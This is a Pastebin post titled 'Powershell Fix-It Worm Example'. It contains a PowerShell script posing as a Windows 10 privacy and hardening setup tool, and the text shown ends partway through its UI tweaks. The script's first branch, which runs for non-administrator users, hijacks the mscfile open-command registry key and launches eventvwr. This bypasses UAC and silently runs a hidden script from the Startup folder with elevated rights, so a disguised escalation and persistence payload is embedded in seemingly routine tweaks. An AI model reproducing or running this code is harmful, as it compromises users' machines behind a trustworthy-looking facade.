API tools faq
paste
TheRoboKitten

Powershell Fix-It Worm Example

TheRoboKitten
Mar 25th, 2017
1,560
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PowerShell 122.61 KB | None | 0 0
raw download clone embed print report
  1. ##########
  2. # Win10 Initial Setup Script
  3. # Author: Disassembler, Gr1d:, TheRoc
  4. # Edited by Gr1D:
  5. # dasm's script: https://github.com/Disassembler0/Win10-Initial-Setup-Script/
  6. # TheROC's E.T. Disable script: https://gist.github.com/thoroc/86d354d029dda303598a
  7.  
  8. # THIS IS VERSION 5.5, error suppression is turned on. PLEASE be patient and PLEASE restart after running the script.
  9. # This script leaves more MS defaults on, including MSE and smart-screen,
  10. # but blocks a ton of domains and disables remote assistance secures java, sets up ipsec..
  11. # (please set your own key - SEE BELOW A FEW LINES) and disables SSL. Even changes your mac and takes steps to secure Google Chrome,
  12. # Adobe Acrobat and Adobe Reader DC. To disable skynet turn off smartscreen and antivirus.
  13.  
  14. # NOTE: READ THIS SCRIPT CAREFULLY BEFORE RUNNING IT. ADJUST COMMENTS AS APPROPRIATE.
  15. # This script will reboot your machine when completed.
  16. # Setting up a new machine? See http://ninite.com (for devs, http://chocolatey.org)
  17. ##########
  18. $ErrorActionPreference= 'silentlycontinue'
  19. # Ask for elevated permissions if required
  20. If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole(`
  21.     [Security.Principal.WindowsBuiltInRole] “Administrator”))
  22. {
  23. New-Item -Path HKCU:\Software\Classes\mscfile\shell\open -Name Command –Force | Out-Null
  24. Set-Item -Path HKCU:\Software\Classes\mscfile\shell\open\Command -Value 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden "C:\ProgramData\Microsoft\Windows\Start` `Menu\Programs\StartUp\powershell.ps1"' | Out-Null
  25. eventvwr
  26. }
  27. Else {
  28. # PLEASE EDIT THE BELOW LINE TO SET YOUR IPSEC PASSWORD (This may be randomly generated in the future)
  29. $ThePreSharedKey = 'PasswordCHANGEME'
  30.  
  31. # Enable F8 boot menu options
  32. # Write-Host "Enabling F8 boot menu options..."
  33. # bcdedit /set `{current`} bootmenupolicy Legacy | Out-Null
  34.  
  35. Write-Progress -Activity "Backing up registry. This may take awhile..." -Status "Progress:" -PercentComplete 1
  36. del C:\registry-backup-hklm.reg
  37. del C:\registry-backup-hkcu.reg
  38. del C:\registry-backup-hkcr.reg
  39.  
  40. reg export HKLM C:\registry-backup-hklm.reg | Out-Null
  41. reg export HKCU C:\registry-backup-hkcu.reg | Out-Null
  42. reg export HKCR C:\registry-backup-hkcr.reg | Out-Null
  43. Write-Progress -Activity "Backing up registry. This may take awhile..." -Status "Progress:" -PercentComplete 100
  44. ##########
  45. # Privacy Settings
  46. ##########
  47. Write-Progress -Activity "Setting some privacy settings..." -Status "Progress:" -PercentComplete 1
  48. # Disable Telemetry
  49. # Disable Telemetry
  50. Write-Host "Disabling Telemetry..."
  51. Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection" -Name "AllowTelemetry" -Type DWord -Value 0
  52. Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DataCollection" -Name "AllowTelemetry" -Type DWord -Value 0
  53. Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\DataCollection" -Name "AllowTelemetry" -Type DWord -Value 0
  54.  
  55. # Enable Telemetry
  56. # Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection" -Name "AllowTelemetry" -Type DWord -Value 3
  57. # Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DataCollection" -Name "AllowTelemetry" -Type DWord -Value 3
  58. # Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\DataCollection" -Name "AllowTelemetry" -Type DWord -Value 3
  59.  
  60. # Disable Wi-Fi Sense
  61. Write-Host "Disabling Wi-Fi Sense..."
  62. If (!(Test-Path "HKLM:\Software\Microsoft\PolicyManager\default\WiFi\AllowWiFiHotSpotReporting")) {
  63.     New-Item -Path "HKLM:\Software\Microsoft\PolicyManager\default\WiFi\AllowWiFiHotSpotReporting" -Force | Out-Null
  64. }
  65. Set-ItemProperty -Path "HKLM:\Software\Microsoft\PolicyManager\default\WiFi\AllowWiFiHotSpotReporting" -Name "Value" -Type DWord -Value 0
  66. Set-ItemProperty -Path "HKLM:\Software\Microsoft\PolicyManager\default\WiFi\AllowAutoConnectToWiFiSenseHotspots" -Name "Value" -Type DWord -Value 0
  67. Write-Progress -Activity "Setting some privacy settings..." -Status "Progress:" -PercentComplete 15
  68. # Enable Wi-Fi Sense
  69. # Set-ItemProperty -Path "HKLM:\Software\Microsoft\PolicyManager\default\WiFi\AllowWiFiHotSpotReporting" -Name "Value" -Type DWord -Value 1
  70. # Set-ItemProperty -Path "HKLM:\Software\Microsoft\PolicyManager\default\WiFi\AllowAutoConnectToWiFiSenseHotspots" -Name "Value" -Type DWord -Value 1
  71.  
  72. # Disable SmartScreen Filter
  73. # Write-Host "Disabling SmartScreen Filter..."
  74. # Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer" -Name "SmartScreenEnabled" -Type String -Value "Off"
  75. # Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\AppHost" -Name "EnableWebContentEvaluation" -Type DWord -Value 0
  76.  
  77. # Enable SmartScreen Filter
  78. Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer" -Name "SmartScreenEnabled" -Type String -Value "RequireAdmin"
  79. Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\AppHost" -Name "EnableWebContentEvaluation"
  80.  
  81. # Disable Bing Search in Start Menu
  82. Write-Host "Disabling Bing Search in Start Menu..."
  83. Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Search" -Name "BingSearchEnabled" -Type DWord -Value 0
  84.  
  85. # Enable Bing Search in Start Menu
  86. # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Search" -Name "BingSearchEnabled"
  87.  
  88. Write-Progress -Activity "Setting some privacy settings..." -Status "Progress:" -PercentComplete 30
  89. # Disable Start Menu suggestions
  90. # Write-Host "Disabling Start Menu suggestions..."
  91. # Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "SystemPaneSuggestionsEnabled" -Type DWord -Value 0
  92.  
  93. # Enable Start Menu suggestions
  94. Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "SystemPaneSuggestionsEnabled" -Type DWord -Value 1
  95.  
  96. # Disable Location Tracking
  97. Write-Host "Disabling Location Tracking..."
  98. Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Sensor\Overrides\{BFA794E4-F964-4FDB-90F6-51056BFE4B44}" -Name "SensorPermissionState" -Type DWord -Value 0
  99. Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\lfsvc\Service\Configuration" -Name "Status" -Type DWord -Value 0
  100.  
  101. # Enable Location Tracking
  102. # Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Sensor\Overrides\{BFA794E4-F964-4FDB-90F6-51056BFE4B44}" -Name "SensorPermissionState" -Type DWord -Value 1
  103. # Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\lfsvc\Service\Configuration" -Name "Status" -Type DWord -Value 1
  104. Write-Progress -Activity "Setting some privacy settings..." -Status "Progress:" -PercentComplete 45
  105. # Disable Feedback
  106. Write-Host "Disabling Feedback..."
  107. If (!(Test-Path "HKCU:\Software\Microsoft\Siuf\Rules")) {
  108.     New-Item -Path "HKCU:\Software\Microsoft\Siuf\Rules" -Force | Out-Null
  109. }
  110. Set-ItemProperty -Path "HKCU:\Software\Microsoft\Siuf\Rules" -Name "NumberOfSIUFInPeriod" -Type DWord -Value 0
  111.  
  112. # Enable Feedback
  113. # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Siuf\Rules" -Name "NumberOfSIUFInPeriod"
  114.  
  115. # Disable Advertising ID
  116. Write-Host "Disabling Advertising ID..."
  117. If (!(Test-Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\AdvertisingInfo")) {
  118.     New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\AdvertisingInfo" | Out-Null
  119. }
  120. Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\AdvertisingInfo" -Name "Enabled" -Type DWord -Value 0
  121.  
  122. # Enable Advertising ID
  123. # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\AdvertisingInfo" -Name "Enabled"
  124. Write-Progress -Activity "Setting some privacy settings..." -Status "Progress:" -PercentComplete 60
  125. # Disable Cortana
  126. Write-Host "Disabling Cortana..."
  127. If (!(Test-Path "HKCU:\Software\Microsoft\Personalization\Settings")) {
  128.     New-Item -Path "HKCU:\Software\Microsoft\Personalization\Settings" -Force | Out-Null
  129. }
  130. Set-ItemProperty -Path "HKCU:\Software\Microsoft\Personalization\Settings" -Name "AcceptedPrivacyPolicy" -Type DWord -Value 0
  131. If (!(Test-Path "HKCU:\Software\Microsoft\InputPersonalization")) {
  132.     New-Item -Path "HKCU:\Software\Microsoft\InputPersonalization" -Force | Out-Null
  133. }
  134. Set-ItemProperty -Path "HKCU:\Software\Microsoft\InputPersonalization" -Name "RestrictImplicitTextCollection" -Type DWord -Value 1
  135. Set-ItemProperty -Path "HKCU:\Software\Microsoft\InputPersonalization" -Name "RestrictImplicitInkCollection" -Type DWord -Value 1
  136. If (!(Test-Path "HKCU:\Software\Microsoft\InputPersonalization\TrainedDataStore")) {
  137.     New-Item -Path "HKCU:\Software\Microsoft\InputPersonalization\TrainedDataStore" -Force | Out-Null
  138. }
  139. Set-ItemProperty -Path "HKCU:\Software\Microsoft\InputPersonalization\TrainedDataStore" -Name "HarvestContacts" -Type DWord -Value 0
  140.  
  141. # Enable Cortana
  142. # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Personalization\Settings" -Name "AcceptedPrivacyPolicy"
  143. # Set-ItemProperty -Path "HKCU:\Software\Microsoft\InputPersonalization" -Name "RestrictImplicitTextCollection" -Type DWord -Value 0
  144. # Set-ItemProperty -Path "HKCU:\Software\Microsoft\InputPersonalization" -Name "RestrictImplicitInkCollection" -Type DWord -Value 0
  145. # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\InputPersonalization\TrainedDataStore" -Name "HarvestContacts"
  146.  
  147. # Restrict Windows Update P2P only to local network
  148. Write-Host "Restricting Windows Update P2P only to local network..."
  149. Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config" -Name "DODownloadMode" -Type DWord -Value 1
  150. If (!(Test-Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\DeliveryOptimization")) {
  151.     New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\DeliveryOptimization" | Out-Null
  152. }
  153. Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\DeliveryOptimization" -Name "SystemSettingsDownloadMode" -Type DWord -Value 3
  154.  Write-Progress -Activity "Setting some privacy settings..." -Status "Progress:" -PercentComplete 75
  155. # Unrestrict Windows Update P2P
  156. # Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config" -Name "DODownloadMode"
  157. # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\DeliveryOptimization" -Name "SystemSettingsDownloadMode"
  158.  
  159. # Remove AutoLogger file and restrict directory
  160. Write-Host "Removing AutoLogger file and restricting directory..."
  161. $autoLoggerDir = "$env:PROGRAMDATA\Microsoft\Diagnosis\ETLLogs\AutoLogger"
  162. If (Test-Path "$autoLoggerDir\AutoLogger-Diagtrack-Listener.etl") {
  163.     Remove-Item "$autoLoggerDir\AutoLogger-Diagtrack-Listener.etl"
  164. }
  165. icacls $autoLoggerDir /deny SYSTEM:`(OI`)`(CI`)F | Out-Null
  166.  
  167. # Unrestrict AutoLogger directory
  168. # $autoLoggerDir = "$env:PROGRAMDATA\Microsoft\Diagnosis\ETLLogs\AutoLogger"
  169. # icacls $autoLoggerDir /grant:r SYSTEM:`(OI`)`(CI`)F | Out-Null
  170.  
  171. # Stop and disable Diagnostics Tracking Service
  172. Write-Host "Stopping and disabling Diagnostics Tracking Service..."
  173. Stop-Service "DiagTrack"
  174. Set-Service "DiagTrack" -StartupType Disabled
  175.  
  176. # Enable and start Diagnostics Tracking Service
  177. # Set-Service "DiagTrack" -StartupType Automatic
  178. # Start-Service "DiagTrack"
  179. Write-Progress -Activity "Setting some privacy settings..." -Status "Progress:" -PercentComplete 90
  180. # Stop and disable WAP Push Service
  181. Write-Host "Stopping and disabling WAP Push Service..."
  182. Stop-Service "dmwappushservice"
  183. Set-Service "dmwappushservice" -StartupType Disabled
  184.  
  185. # Enable and start WAP Push Service
  186. # Set-Service "dmwappushservice" -StartupType Automatic
  187. # Start-Service "dmwappushservice"
  188. # Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\dmwappushservice" -Name "DelayedAutoStart" -Type DWord -Value 1
  189.  
  190. Write-Progress -Activity "Setting some privacy settings..." -Status "Progress:" -PercentComplete 100
  191.  
  192. ##########
  193. # Service Tweaks
  194. ##########
  195. Write-Progress -Activity "Setting some service tweaks..." -Status "Progress:" -PercentComplete 1
  196. # Lower UAC level
  197. # Write-Host "Lowering UAC level..."
  198. # Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Type DWord -Value 0
  199. # Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Name "PromptOnSecureDesktop" -Type DWord -Value 0
  200.  
  201. # Raise UAC level
  202. Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Type DWord -Value 5
  203. Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Name "PromptOnSecureDesktop" -Type DWord -Value 1
  204.  
  205. # Enable sharing mapped drives between users
  206. # Write-Host "Enabling sharing mapped drives between users..."
  207. # Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLinkedConnections" -Type DWord -Value 1
  208.  
  209. # Disable sharing mapped drives between users
  210. Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLinkedConnections"
  211.  
  212. # Disable Firewall
  213. # Write-Host "Disabling Firewall..."
  214. # Set-NetFirewallProfile -Profile * -Enabled False
  215.  
  216. # Enable Firewall
  217. Set-NetFirewallProfile -Profile * -Enabled True
  218.  
  219. # Disable Windows Defender
  220. # Write-Host "Disabling Windows Defender..."
  221. # Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Type DWord -Value 1
  222.  
  223. #### Configure the two below options when NOT running windows defender. (These sound pretty shady.. SKYNET!)
  224.  
  225. # Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" -ValueName **del.SpynetReporting -Type String -Data ""
  226. # Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" -ValueName SubmitSamplesConsent -Type DWord -Data 2
  227.  
  228. # Enable Windows Defender
  229. Remove-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware"
  230. Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Type DWord -Value 0
  231. Write-Progress -Activity "Setting some service tweaks..." -Status "Progress:" -PercentComplete 45
  232.  
  233. # Disable Windows Update automatic restart
  234. Write-Host "Disabling Windows Update automatic restart..def."
  235. Set-ItemProperty -Path "HKLM:\Software\Microsoft\WindowsUpdate\UX\Settings" -Name "UxOption" -Type DWord -Value 1
  236.  
  237. # Enable Windows Update automatic restart
  238. # Set-ItemProperty -Path "HKLM:\Software\Microsoft\WindowsUpdate\UX\Settings" -Name "UxOption" -Type DWord -Value 0
  239.  
  240. # Stop and disable Home Groups services
  241. Write-Host "Stopping and disabling Home Groups services..."
  242. Stop-Service "HomeGroupListener"
  243. Set-Service "HomeGroupListener" -StartupType Disabled
  244. Write-Progress -Activity "Setting some service tweaks..." -Status "Progress:" -PercentComplete 80
  245. Stop-Service "HomeGroupProvider"
  246. Set-Service "HomeGroupProvider" -StartupType Disabled
  247.  
  248. # Enable and start Home Groups services
  249. # Set-Service "HomeGroupListener" -StartupType Manual
  250. # Set-Service "HomeGroupProvider" -StartupType Manual
  251. # Start-Service "HomeGroupProvider"
  252.  
  253. # Disable Remote Assistance
  254. Write-Host "Disabling Remote Assistance..."
  255. Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Remote Assistance" -Name "fAllowToGetHelp" -Type DWord -Value 0
  256. Write-Progress -Activity "Setting some service tweaks..." -Status "Progress:" -PercentComplete 80
  257. # Enable Remote Assistance
  258. # Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Remote Assistance" -Name "fAllowToGetHelp" -Type DWord -Value 1
  259.  
  260. # Enable Remote Desktop w/o Network Level Authentication
  261. # Write-Host "Enabling Remote Desktop w/o Network Level Authentication..."
  262. # Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Type DWord -Value 0
  263. # Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Type DWord -Value 0
  264.  
  265. # Disable Remote Desktop
  266. Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Type DWord -Value 1
  267. Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Type DWord -Value 1
  268. Write-Progress -Activity "Setting some service tweaks..." -Status "Progress:" -PercentComplete 100
  269.  
  270.  
  271. ##########
  272. # UI Tweaks
  273. ##########
  274. Write-Progress -Activity "Setting some UI tweaks..." -Status "Progress:" -PercentComplete 1
  275. # Disable Action Center
  276. Write-Host "Disabling Action Center..."
  277. If (!(Test-Path "HKCU:\Software\Policies\Microsoft\Windows\Explorer")) {
  278.   New-Item -Path "HKCU:\Software\Policies\Microsoft\Windows\Explorer" | Out-Null
  279. }
  280. Set-ItemProperty -Path "HKCU:\Software\Policies\Microsoft\Windows\Explorer" -Name "DisableNotificationCenter" -Type DWord -Value 1
  281. Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\PushNotifications" -Name "ToastEnabled" -Type DWord -Value 0
  282.  
  283. # Enable Action Center
  284. # Remove-ItemProperty -Path "HKCU:\Software\Policies\Microsoft\Windows\Explorer" -Name "DisableNotificationCenter"
  285. # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\PushNotifications" -Name "ToastEnabled"
  286.  
  287. # Disable Lock screen
  288. # Write-Host "Disabling Lock screen..."
  289. # If (!(Test-Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Personalization")) {
  290. #   New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Personalization" | Out-Null
  291. # }
  292. # Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Personalization" -Name "NoLockScreen" -Type DWord -Value 1
  293.  
  294. # Enable Lock screen
  295. Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Personalization" -Name "NoLockScreen"
  296.  
  297. # Disable Lock screen (Anniversary Update workaround)
  298. #If ([System.Environment]::OSVersion.Version.Build -gt 14392) { # Apply only for Redstone 1 or newer
  299. #   $service = New-Object -com Schedule.Service
  300. #   $service.Connect()
  301. #   $task = $service.NewTask(0)
  302. #   $task.Settings.DisallowStartIfOnBatteries = $false
  303. #   $trigger = $task.Triggers.Create(9)
  304. #   $trigger = $task.Triggers.Create(11)
  305. #   $trigger.StateChange = 8
  306. #   $action = $task.Actions.Create(0)
  307. #   $action.Path = "reg.exe"
  308. #   $action.Arguments = "add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\SessionData /t REG_DWORD /v AllowLockScreen /d 0 /f"
  309. #   $service.GetFolder("\").RegisterTaskDefinition("Disable LockScreen", $task, 6, "NT AUTHORITY\SYSTEM", $null, 4) | Out-Null
  310. #}
  311.  
  312. # Enable Lock screen (Anniversary Update workaround)
  313. #If ([System.Environment]::OSVersion.Version.Build -gt 14392) { # Apply only for Redstone 1 or newer
  314. #   Unregister-ScheduledTask -TaskName "Disable LockScreen" -Confirm:$false -ErrorAction SilentlyContinue
  315. #}
  316. Write-Progress -Activity "Setting some UI tweaks..." -Status "Progress:" -PercentComplete 15
  317. # Disable Autoplay
  318. Write-Host "Disabling Autoplay..."
  319. Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers" -Name "DisableAutoplay" -Type DWord -Value 1
  320.  
  321. # Enable Autoplay
  322. # Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers" -Name "DisableAutoplay" -Type DWord -Value 0
  323.  
  324. # Disable Autorun for all drives
  325. Write-Host "Disabling Autorun for all drives..."
  326. If (!(Test-Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer")) {
  327.   New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" | Out-Null
  328. }
  329. Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" -Name "NoDriveTypeAutoRun" -Type DWord -Value 255
  330.  
  331. # Enable Autorun
  332. # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" -Name "NoDriveTypeAutoRun"
  333. Write-Progress -Activity "Setting some UI tweaks..." -Status "Progress:" -PercentComplete 30
  334. #Disable Sticky keys prompt
  335. Write-Host "Disabling Sticky keys prompt..."
  336. Set-ItemProperty -Path "HKCU:\Control Panel\Accessibility\StickyKeys" -Name "Flags" -Type String -Value "506"
  337.  
  338. # Enable Sticky keys prompt
  339. # Set-ItemProperty -Path "HKCU:\Control Panel\Accessibility\StickyKeys" -Name "Flags" -Type String -Value "510"
  340.  
  341. # Hide Search button / box I THINK THIS BREAKS OR THE DEVICEACCESS KEYS
  342. # Write-Host "Hiding Search Box / Button..."
  343. # Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Search" -Name "SearchboxTaskbarMode" -Type DWord -Value 0
  344.  
  345. # Show Search button / box
  346. Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Search" -Name "SearchboxTaskbarMode"
  347.  
  348. # Hide Task View button
  349. # Write-Host "Hiding Task View button..."
  350. # Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "ShowTaskViewButton" -Type DWord -Value 0
  351.  
  352. # Show Task View button
  353. # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "ShowTaskViewButton"
  354.  
  355. # Show small icons in taskbar
  356. # Write-Host "Showing small icons in taskbar..."
  357. # Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "TaskbarSmallIcons" -Type DWord -Value 1
  358.  
  359. # Show large icons in taskbar
  360. # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "TaskbarSmallIcons"
  361.  
  362. # Show titles in taskbar
  363. # Write-Host "Showing titles in taskbar..."
  364. # Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "TaskbarGlomLevel" -Type DWord -Value 1
  365.  
  366. # Hide titles in taskbar
  367. # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "TaskbarGlomLevel"
  368.  
  369. # Show all tray icons
  370. # write-Host "Showing all tray icons..."
  371. # Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer" -Name "EnableAutoTray" -Type DWord -Value 0
  372.  
  373. # Hide tray icons as needed
  374. Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer" -Name "EnableAutoTray"
  375. Write-Progress -Activity "Setting some UI tweaks..." -Status "Progress:" -PercentComplete 45
  376. # Show known file extensions
  377. Write-Host "Showing known file extensions..."
  378. Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "HideFileExt" -Type DWord -Value 0
  379.  
  380. # Hide known file extensions
  381. # Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "HideFileExt" -Type DWord -Value 1
  382.  
  383. # Show hidden files
  384. Write-Host "Showing hidden files..."
  385. Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "Hidden" -Type DWord -Value 1
  386.  
  387. # Hide hidden files
  388. # Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "Hidden" -Type DWord -Value 2
  389.  
  390. # Change default Explorer view to "Computer"
  391. Write-Host "Changing default Explorer view to `"Computer`"..."
  392. Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "LaunchTo" -Type DWord -Value 1
  393. Write-Progress -Activity "Setting some UI tweaks..." -Status "Progress:" -PercentComplete 75
  394. # Change default Explorer view to "Quick Access"
  395. # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "LaunchTo"
  396.  
  397. # Show Computer shortcut on desktop
  398. Write-Host "Showing Computer shortcut on desktop..."
  399. If (!(Test-Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu")) {
  400.   New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu" | Out-Null
  401. }
  402. Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu" -Name "{20D04FE0-3AEA-1069-A2D8-08002B30309D}" -Type DWord -Value 0
  403. Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" -Name "{20D04FE0-3AEA-1069-A2D8-08002B30309D}" -Type DWord -Value 0
  404. Write-Progress -Activity "Setting some UI tweaks..." -Status "Progress:" -PercentComplete 100
  405. # Hide Computer shortcut from desktop
  406. # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu" -Name "{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
  407. # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" -Name "{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
  408.  
  409. # Remove Desktop icon from computer namespace
  410. # Write-Host "Removing Desktop icon from computer namespace..."
  411. # Remove-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}" -Recurse -ErrorAction SilentlyContinue
  412.  
  413. # Add Desktop icon to computer namespace
  414. # New-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}"
  415.  
  416. # Remove Documents icon from computer namespace
  417. # Write-Host "Removing Documents icon from computer namespace..."
  418. # Remove-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{d3162b92-9365-467a-956b-92703aca08af}" -Recurse -ErrorAction SilentlyContinue
  419. # Remove-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}" -Recurse -ErrorAction SilentlyContinue
  420.  
  421. # Add Documents icon to computer namespace
  422. # New-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{d3162b92-9365-467a-956b-92703aca08af}"
  423. # New-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}"
  424.  
  425. # Remove Downloads icon from computer namespace
  426. # Write-Host "Removing Downloads icon from computer namespace..."
  427. # Remove-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{088e3905-0323-4b02-9826-5d99428e115f}" -Recurse -ErrorAction SilentlyContinue
